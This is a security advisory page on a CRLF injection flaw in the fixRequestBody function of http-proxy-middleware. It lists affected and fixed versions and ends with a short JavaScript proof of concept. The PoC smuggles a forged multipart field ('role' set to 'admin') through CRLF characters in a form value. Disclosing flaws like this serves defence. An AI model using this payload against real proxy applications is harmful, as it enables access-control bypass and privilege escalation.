CRLF Injection Affecting http-proxy-middleware package, versions >=3.0.4 <3.0.7>=4.0.0 <4.1.1


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about CRLF Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-HTTPPROXYMIDDLEWARE-17375007
  • published18 Jun 2026
  • disclosed18 Jun 2026
  • creditRami Altai

Introduced: 18 Jun 2026

NewCVE-2026-55603  (opens in a new tab)
CWE-93  (opens in a new tab)

How to fix?

Upgrade http-proxy-middleware to version 3.0.7, 4.1.1 or higher.

Overview

Affected versions of this package are vulnerable to CRLF Injection via the fixRequestBody function. An attacker can inject or override multipart form fields, potentially bypassing gateway-side validation or access controls, by supplying crafted input containing carriage return and line feed characters in field names or values. This can result in the backend receiving manipulated parameters not visible to the gateway, enabling unauthorized actions or parameter tampering.

Note:

This is only exploitable if the proxy application uses a non-multipart parser to populate the request body, the outgoing request is sent as multipart/form-data, and the application calls fixRequestBody with attacker-controlled input.

PoC

// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

CVSS Base Scores

version 4.0
version 3.1